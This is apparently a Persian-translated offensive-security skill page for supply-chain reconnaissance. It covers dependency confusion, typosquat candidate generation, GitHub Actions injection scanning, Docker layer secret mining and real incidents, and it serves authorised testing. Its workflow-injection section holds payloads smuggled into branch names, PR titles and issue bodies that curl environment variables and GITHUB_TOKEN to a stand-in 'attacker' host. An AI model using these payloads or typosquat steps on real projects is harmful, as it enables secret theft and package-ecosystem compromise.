supply-chain-attack-recon

skillupstreamپلتفرم سازمانیگزارش: ۱۲۴۱ کیلوبایت۲۲ بخش

‏recon بیرونی برای سطح حمله‌ی supply-chain نرم‌افزار — کاندیدهای squatting فضای‌نام پکیج، آسیب‌پذیری‌های dependency-confusion، دهانه‌های تزریق GitHub Actions، افشای رجیستری ایمیج کانتینر و نشت URL رجیستری داخلی.

توضیح انگلیسی اصلی (مرجع)

External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure. Reconnaissance and identification ONLY — actual package publishing / typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm/PyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts/SBOMs are reachable, when their docker images are on Docker Hub/GHCR, or when you find internal package names in their JS bundles.

فلوی اجرای گام‌به‌گام

◆
supply-chain-attack-reconشروع اجرا
۱
‏شواهد اینکه build system تارگت نام‌ها را از رجیستری‌های *عمومی* resolve می‌کند ‏(نه فقط داخلی خودش)
۲
‏یا شواهد اینکه package manager تارگت ناامن کانفیگ شده ‏(مثلاً `.npmrc` بدون mapping مربوط به `@scope:registry=`)
۳
‏یا اینکه پکیج واقعاً توسط buildهایشان نصب می‌شود ‏(در package.json هست، نه فقط ارجاع در کد مرده)
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

سطح حمله و سیگنال‌ها

When to use
ترجمه‌ی کامل ✓بخش ۱ از ۲۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏تریگر وقتی:

  • ‏تارگت سازمان GitHub عمومی دارد ‏(از طریق OSINT پیدا کن)
  • ‏باندل‌های JS به نام پکیج‌های داخلی‌نما ارجاع می‌دهند ‏(@target-internal/...، target-utils، target-shared)
  • ‏لاگ‌های build، SBOMها یا فایل‌های package-lock.json عموماً قابل‌دسترس‌اند
  • ‏تارگت از CI/CD استفاده می‌کند که تا حدی عمومی است ‏(GitHub Actions، GitLab CI، Bitrise)
  • ‏ایمیج‌های Docker روی Docker Hub/GHCR/Quay متعلق‌به سازمان تارگت‌اند
  • ‏یافته‌ها شامل .npmrc/pip.conf/gradle.properties با URLهای رجیستری داخلی هستند
  • ‏فایل‌های .github/workflows/*.yml به ابزار داخلی ارجاع می‌دهند

‏برای این‌ها استفاده نکن:

  • ‏رجیستری‌های artifact شبکه‌داخلی ‏(خارج از اسکوپ به‌سبب مرز بیرونی)
  • ‏انتشار واقعی typosquat / پکیج dep-confusion بدون OK صریح
  • ‏compromise پروژه‌های open-source آپ‌استریم ‏(شعاع انفجار عظیم — در بیشتر حوزه‌ها بدون مجوز غیرقانونی)
۲

سطح حمله و سیگنال‌ها

The supply-chain attack surface map
ترجمه‌ی کامل ✓بخش ۲ از ۲۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏نقشه‌ی سطح حمله‌ی supply-chain:

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.
۳

بخش تکمیلی

Step 1 — GitHub org discovery
ترجمه‌ی کامل ✓بخش ۳ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏گام ۱ — کشف سازمان GitHub:

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile
۴

سطح حمله و سیگنال‌ها

Step 2 — Enumerate public repos for sensitive artifacts
ترجمه‌ی کامل ✓بخش ۴ از ۲۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏گام ۲ — enumerate مربوط به ریپوهای عمومی برای آرتیفکت‌های حساس:

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"
۵

بخش تکمیلی

Step 3 — Internal package-name discovery
ترجمه‌ی کامل ✓بخش ۵ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

از باندل‌های JS
# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
از فایل‌های package.json مربوط به ریپوی GitHub
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
از پروژه‌های Python
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
۶

بخش تکمیلی

Step 4 — Dependency-confusion vulnerability check
ترجمه‌ی کامل ✓بخش ۶ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏برای هر نام پکیج داخلی‌نمای کشف‌شده:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

‏کالیبراسیون شدت: فقط به این دلیل که نامی claim‌نشده به معنی قابل‌بهره‌برداری‌بودن نیست. همچنین نیاز داری:

  1. ‏شواهد اینکه build system تارگت نام‌ها را از رجیستری‌های عمومی resolve می‌کند ‏(نه فقط داخلی خودش)
  2. ‏یا شواهد اینکه package manager تارگت ناامن کانفیگ شده ‏(مثلاً .npmrc بدون mapping مربوط به @scope:registry=)
  3. ‏یا اینکه پکیج واقعاً توسط buildهایشان نصب می‌شود ‏(در package.json هست، نه فقط ارجاع در کد مرده)

‏۴۰۴ روی رجیستری بدون context حمایتی فقط INFORMATIONAL است.

۷

بخش تکمیلی

Step 5 — Typosquat candidates (around external dependencies)
ترجمه‌ی کامل ✓بخش ۷ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏برای هر وابستگی عمومی بیرونی که تارگت استفاده می‌کند:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos:
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

‏⚠ نوت EXTERNAL-OFFENSIVE: انتشار پکیج typosquat به رجیستری عمومی حمله‌ای به اکوسیستم پهن‌تر است. هرگز بدون تایید کتبی، صریح و اسکوپ-مشخص این کار را نکن. می‌تواند کاربران خارج از engagement را درگیر کند و ممکن است غیرقانونی باشد.

۸

مراحل شکار

Step 6 — GitHub Actions workflow injection scan
ترجمه‌ی کامل ✓بخش ۸ از ۲۲

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

‏برای هر ریپوی عمومی با .github/workflows/:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="

    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'

    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'

    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'

    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'

    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done
الگوهای تزریق برای فلگ ‏(راهنمای شدت)
الگوشدت
‏pull_request_target + actions/checkout با ref: pull_request.head.sha + استفاده از secretهای ریپوبحرانی — ‏RCE روی runner با secretهای سازمان
‏‏${{ github.event.pull_request.title }} درون‌گذاری‌شده در شلبحرانی — تزریق اسکریپت از طریق عنوان PR
‏اکشن third-party پین‌شده به تگ mutable ‏(uses: org/repo@v1 / @main) به‌جای SHA کامیتHigh — وکتور supply-chain قابل‌تغییراشاره ‏(کیس #۹ را ببین)
‏runner مربوط به self-hosted قابل‌دسترس از workflowهای ریپوی عمومیHigh — pivot پایدار مهاجم
‏workflow تریگرشده-با-کامنت-issue که gh را با توکن اجرا می‌کندHigh
‏workflow دانلود از URLای که تارگت کنترل می‌کندMedium
sinkهای تزریق context مربوط به GitHub Actions ‏(نام شاخه، عنوان PR، بدنه‌ی issue)

‏context نامعتبر جاری‌شونده از metadata مربوط به PR داخل بلاک‌های run: وکتور تزریق کلاسیک است. payloadهای تست:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.
لاگ‌های عمومی run مربوط به GitHub Actions ‏(نشت secret)

‏لاگ‌های Actions روی ریپوهای عمومی به‌صورت پیش‌فرض عمومی‌اند. دنبال:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

‏secretهای لو‌رفته در لاگ = استخراج مستقیم credential؛ شدت بسته به نوع توکن ‏(PAT مربوط به GitHub، توکن npm، کلید AWS و غیره).

تشخیص استاتیک sinkهای تزریق Actions با zizmor

‏برای فلگ‌کردن خودکار با اطمینان بالا، تحلیل‌گر zizmor را روی همه‌ی فایل‌های workflow اجرا کن:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

‏ابزار Zizmor کار regex دستی را حذف می‌کند و لبه‌ها را می‌گیرد ‏(مثل درون‌گذاری context غیرمستقیم از طریق ارجاع متغیر).

۹

بخش تکمیلی

Step 7 — Docker / container image registry mining
ترجمه‌ی کامل ✓بخش ۹ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏گام ۷ — ماینینگ رجیستری ایمیج Docker / کانتینر:

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update
۱۰

بخش تکمیلی

Step 8 — SBOM / artifact metadata leakage
ترجمه‌ی کامل ✓بخش ۱۰ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏گام ۸ — نشت metadata مربوط به SBOM / آرتیفکت:

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
۱۱

بخش تکمیلی

Step 9 — Internal registry URL leakage
ترجمه‌ی کامل ✓بخش ۱۱ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏گام ۹ — نشت URL رجیستری داخلی:

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
۱۲

بخش تکمیلی

Step 10 — npm/PyPI organizational presence
ترجمه‌ی کامل ✓بخش ۱۲ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏گام ۱۰ — حضور سازمانی npm/PyPI:

# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"
۱۳

بخش تکمیلی

Step 11 — Frontend and third-party dependency checks
ترجمه‌ی کامل ✓بخش ۱۳ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

تشخیص CDN به‌غارت‌رفته ‏(polyfill.io و امثالش)

‏CDNها و سرویس‌های analytics شناخته‌شده‌ی به‌غارت‌رفته سلاح شده‌اند. HTML/JS عمومی تارگت را چک کن:

# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'

# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
  grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done

‏مرجع: polyfill.io در ۲۰۲۴ برای سرو payloadهای مخرب به‌غارت رفت. حضور = ریسک supply-chain.

۱۴

ابزار و نکات عملیاتی

Tooling
ترجمه‌ی کامل ✓بخش ۱۴ از ۲۲

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

ابزارهدف
‏trufflehogاسکن secret روی فایل‌سیستم/git/docker
‏gitleaksاسکن secret روی تاریخچه‌ی git
‏dependency-confusion ‏(Confused)چک‌های scope مربوط به npm/PyPI
‏packjامتیاز ریسک پکیج ‏(PyPI/npm/RubyGems)
‏Lift / Snyk vuln-dblookup مربوط به CVE شناخته‌شده با نسخه‌ی پکیج
‏actionlintتحلیل‌گر استاتیک GitHub Actions
‏zizmorتشخیص تزریق و antipatternهای امنیتی GitHub Actions
‏OSSGadgetجعبه‌ابزار metadata مربوط به پکیج مایکروسافت
‏semgrep + قواعد supply-chainتشخیص تزریق workflow
‏osv-scannerمچ‌کردن نسخه‌ها به آسیب‌پذیری‌های شناخته‌شده
۱۵

بخش تکمیلی

Severity scoring guidance
ترجمه‌ی کامل ✓بخش ۱۵ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

یافتهشدت
‏نام پکیج داخلی + نبود scope-mapping + claim‌نشده روی npm عمومی + فعال در buildهابحرانی — ‏RCE مربوط به Dep-confusion
‏نام پکیج داخلی + scope-mapping در .npmrc ولی _authToken لو‌رفتهبحرانی — push مستقیم به رجیستری
‏workflow مربوط به pull_request_target + secretهای افشاشده + اجرای کد کنترل‌شده‌ی PRبحرانی — دزدی توکن در سطح سازمان
‏ایمیج Docker با secret لو‌رفته در لایهHigh ‏(بسته به secret متفاوت)
‏URL رجیستری داخلی افشاشده ‏(ولی بدون cred)Low — فقط info-disc
‏کاندید typosquat شناسایی‌شده ‏(منتشرنشده)Informational — آیتم آگاهی
‏سازمان عمومی با ۱۰۰۰+ نام استفاده‌نشده که می‌توانند claim شوندInformational — بهداشت
۱۶

Payload و الگوهای تشخیص

Anti-patterns
ترجمه‌ی کامل ✓بخش ۱۶ از ۲۲

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

  • ‏بدون مجوز کتبی، امضاشده و اسکوپ-مشخص پکیج typosquat / dep-confusion منتشر نکن — این کار کاربران خارج از engagement را درگیر می‌کند
  • ‏بدون OK مشخص به ریپوهای کلاینت به‌عنوان بخشی از تست PR submit نکن — ممکن است PoCهای تزریق workflow لازم باشد ولی به CI/CD و توسعه‌دهندگان دیگر دست می‌زنند
  • ‏کل npm/PyPI را برای کاندیدهای typosquat scrape نکن — غیرمسئولانه و پرنویز
  • ‏«نام claim‌نشده است» را با «dependency confusion قابل‌بهره‌برداری» اشتباه نگیر — build system اهمیت دارد؛ خیلی از سازمان‌ها از scope-mapping درست استفاده می‌کنند که حمله را جلوگیری می‌کند
  • ‏به runnerهای self-hosted مربوط به GitHub Actions دست نزن — ممکن است داخل شبکه‌ی کلاینت و خارج از اسکوپ بیرونی باشند
  • ‏ایمیج‌های بزرگ Docker را کورکورانه pull نکن — پهنای‌باند ایمیج می‌تواند ۵–۵۰گیگ باشد؛ اول تگ‌ها را بازبینی کن
۱۷

بخش تکمیلی

What constitutes a deliverable finding
ترجمه‌ی کامل ✓بخش ۱۷ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏یک یافته‌ی supply-chain به همه‌ی این‌ها نیاز دارد:

  1. ‏نام/مسیر مشخص — نام دقیق پکیج داخلی، مسیر دقیق فایل workflow، تگ دقیق ایمیج
  2. ‏مکانیزم آسیب‌پذیری — dep-confusion / typosquat / تزریق / و غیره
  3. ‏شواهد قابلیت‌بهره‌برداری — اثبات اینکه build/install واقعاً payload مهاجم را استفاده می‌کند ‏(نه فقط «نام claim‌نشده است»)
  4. ‏شدت — کالیبره به شعاع انفجار ‏(یک توسعه‌دهنده؟ همه‌ی توسعه‌دهندگان؟ همه‌ی کاربران پکیج؟)
  5. ‏توصیه — مشخص ‏(مثلاً «نام استفاده‌نشده‌ی @target-internal/utils را روی npm به‌عنوان مالک خودت ثبت کن حتی اگر استفاده نمی‌شود؛ mapping مربوط به .npmrc با scope:registry را کانفیگ کن»)
۱۸

دروازه‌ی اعتبارسنجی

Bridge to neighboring skills
ترجمه‌ی کامل ✓بخش ۱۸ از ۲۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل apk-redteam-pipeline — APKها هم نام پکیج‌های داخلی را لو می‌دهند ‏(در build.gradle دیکامپایل‌شده پیدا کن)
  • ‏اسکیل cloud-iam-deep — secretهای CI/CD اغلب = credential ابری هستند؛ این اسکیل پیدایشان می‌کند، آن اسکیل validateشان می‌کند
  • ‏اسکیل hunt-cloud-misconfig — هم‌پوشانی misconfig مربوط به pipeline CI/CD ‏(Jenkins / GitLab Runner)
  • ‏اسکیل m365-entra-attack — pipelineهای Azure DevOps بخشی از سطح Entra هستند
  • ‏اسکیل redteam-report-template — یافته‌های supply-chain به وضوح بیشتری درباره‌ی شعاع انفجار نیاز دارند ‏(یک ریپو در برابر کل اکوسیستم)
  • ‏اسکیل mid-engagement-ir-detection — ثبت یک نام روی npm عمومی چیزی داخل کلاینت تریگر نمی‌کند، ولی هر اکشن انتشار پرصدا و دارای audit-trail است
مراحل استخراج‌شده
  1. ۱‏اسکیل `apk-redteam-pipeline` — APKها هم نام پکیج‌های داخلی را لو می‌دهند ‏(در `build.gradle` دیکامپایل‌شده پیدا کن)
  2. ۲‏اسکیل `cloud-iam-deep` — secretهای CI/CD اغلب = credential ابری هستند؛ این اسکیل پیدایشان می‌کند، آن اسکیل validateشان می‌کند
  3. ۳‏اسکیل `hunt-cloud-misconfig` — هم‌پوشانی misconfig مربوط به pipeline CI/CD ‏(Jenkins / GitLab Runner)
  4. ۴‏اسکیل `m365-entra-attack` — pipelineهای Azure DevOps بخشی از سطح Entra هستند
  5. ۵‏اسکیل `redteam-report-template` — یافته‌های supply-chain به وضوح بیشتری درباره‌ی شعاع انفجار نیاز دارند ‏(یک ریپو در برابر کل اکوسیستم)
  6. ۶‏اسکیل `mid-engagement-ir-detection` — ثبت یک نام روی npm عمومی چیزی داخل کلاینت تریگر نمی‌کند، ولی *هر* اکشن انتشار پرصدا و دارای audit-trail است
۱۹

بخش تکمیلی

External-only boundary check
ترجمه‌ی کامل ✓بخش ۱۹ از ۲۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این اسکیل کاملاً بیرونی است — همه‌ی تارگت‌ها رجیستری‌های عمومی / GitHub عمومی‌اند. اگر engagement شامل رجیستری artifact داخلی کلاینت باشد ‏(Nexus داخلی، JFrog، Sonatype)، آن زیرساخت داخلی است و طبق feedback_skill_boundaries خارج از اسکوپ. افشای URL رجیستری-داخلی را به‌عنوان یافته گزارش کن؛ تلاش برای enumerate کردنش نکن.

۲۰

ابزار و نکات عملیاتی

Real-world references
ترجمه‌ی کامل ✓بخش ۲۰ از ۲۲

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

  • ‏Alex Birsan ۲۰۲۱ — پژوهش اصلی dependency-confusion، بیش از ۱۳۰هزار دلار بانتی از Apple/Microsoft/PayPal/Yelp و غیره
  • ‏‏ua-parser-js ۲۰۲۱ — به‌غارت‌رفتن پکیج npm از طریق credential دزدیده‌شده‌ی maintainer
  • ‏‏node-ipc ۲۰۲۲ — آپدیت مخرب supply-chain واردشده توسط maintainer
  • ‏‏3CX ۲۰۲۳ — حمله‌ی supply-chain آبشاری از X_TRADER ← 3CX ← مشتری‌ها
  • ‏‏XZ Utils ۲۰۲۴ — حمله‌ی supply-chain چندساله‌ی social-engineering روی OSS آپ‌استریم

‏هرکدام ارزش خواندن دارد برای اینکه چه چیزی حمله را مؤثر کرد و چه پرچم‌های قرمزی زودتر وجود داشت.

۲۱

نمونه‌های واقعی و impact

Disclosed-case catalogue (citations)
ترجمه‌ی کامل ✓بخش ۲۱ از ۲۲

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏دوازده کیس عمومی خوش‌مستند، نگاشته به سطح recon بالا. هر مدخل: نام حمله، سال، فلو، علت ریشه‌ای، اثر، مراجع و نکته‌ی recon.

‏### ۱. بک‌دور SUNBURST در SolarWinds Orion ‏(CISA AA20-352A، دسامبر ۲۰۲۰)

  • ‏فلو: ‏APT29 ‏(UNC2452 / Cozy Bear) پایپ‌لاین build مربوط به SolarWinds را نفوذ کرد و بک‌دور SUNBURST را داخل SolarWinds.Orion.Core.BusinessLayer.dll گذاشت. DLL تروجنیزه با سرتیفیکیت مشروع SolarWinds کدساین شد و بین مارس تا ژوئن ۲۰۲۰ از کانال عادی auto-update به ~۱۸٬۰۰۰ مشتری رسید.
  • ‏علت ریشه‌ای: compromise محیط build — مهاجمان سورس را وسط کامپایل تغییر دادند؛ زیرساخت ساینینگ به خروجی build بدون تأیید یکپارچگی سورس اعتماد کرد.
  • ‏اثر: ~۱۸٬۰۰۰ سازمان بک‌دور را گرفتند؛ ~۱۰۰ تای آن‌ها ‏(از جمله وزارت خزانه‌داری، بازرگانی، DHS، DoJ آمریکا، مایکروسافت و FireEye/Mandiant) payload مرحله‌دوم TEARDROP/BEACON را گرفتند. SolarWinds بیش از ۴۰ میلیون دلار هزینه‌ی مستقیم پاسخ گزارش کرد؛ تسویه‌ی class-action برابر ۲۶ میلیون دلار.
  • ‏مراجع:
  • ‏CISA AA20-352A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
  • ‏نوشته‌ی Mandiant روی SUNBURST: https://cloud.google.com/blog/topics/threat-intelligence/sunburst-additional-technical-details
  • ‏تحلیل مایکروسافت: https://www.microsoft.com/en-us/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack/
  • ‏پست‌مورتم SolarWinds: https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
  • ‏نکته‌ی recon: هرجا تارگت باینری ساین‌شده از CI خودش ship می‌کند، چک recon این است: آیا خود محیط build قابل‌دسترس است؟ دنبال کنسول‌های Jenkins/GitLab CI افشاشده، agentهای TeamCity عمومی یا آرتیفکت‌های build که مسیرهای سورس را لو می‌دهند بگرد. سرتیفیکیت کدساینینگ + build به‌غارت‌رفته = زنجیره‌ی اعتماد توقف‌ناپذیر.

‏### ۲. زنجیره‌ی supply مربوط به سافت‌فون 3CX VoIP ‏(CVE-2023-29059، مارس ۲۰۲۳)

  • ‏فلو: زیرگروه Lazarus منتسب‌به DPRK ‏(UNC4736 / Labyrinth Chollima) اپ DesktopApp مربوط به 3CX ‏(سافت‌فون مبتنی‌بر Electron) را هم روی ویندوز و هم macOS تروجنیزه کرد. ورود اولیه از طریق حمله‌ی supply-chain قبلی بود — یک کارمند کپی بک‌دوردار X_TRADER مربوط به Trading Technologies را نصب کرد، نخستین compromise مربوط به supply-chain آبشاری افشاشده ‏(یک قربانی supply-chain وکتور قربانی دیگر می‌شود).
  • ‏علت ریشه‌ای: compromise ایستگاه‌کاری dev ← دسترسی به سورس/پایپ‌لاین build مربوط به 3CX ← ffmpeg.dll و d3dcompiler_47.dll مخرب در نصب‌کننده‌ی ساین‌شده ship شد.
  • ‏اثر: ~۶۰۰٬۰۰۰ سازمان از 3CX استفاده می‌کنند؛ ده‌ها هزار کلاینت تروجنیزه دانلود شد. Lazarus payloadهای مرحله‌دوم را انتخابی علیه شرکت‌های کریپتو و تریدینگ فعال کرد.
  • ‏مراجع:
  • ‏CrowdStrike: https://www.crowdstrike.com/en-us/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
  • ‏SentinelOne: https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
  • ‏تحلیل حمله‌ی آبشاری Mandiant: https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise
  • ‏پست‌مورتم 3CX: https://www.3cx.com/blog/news/desktopapp-security-alert-update/
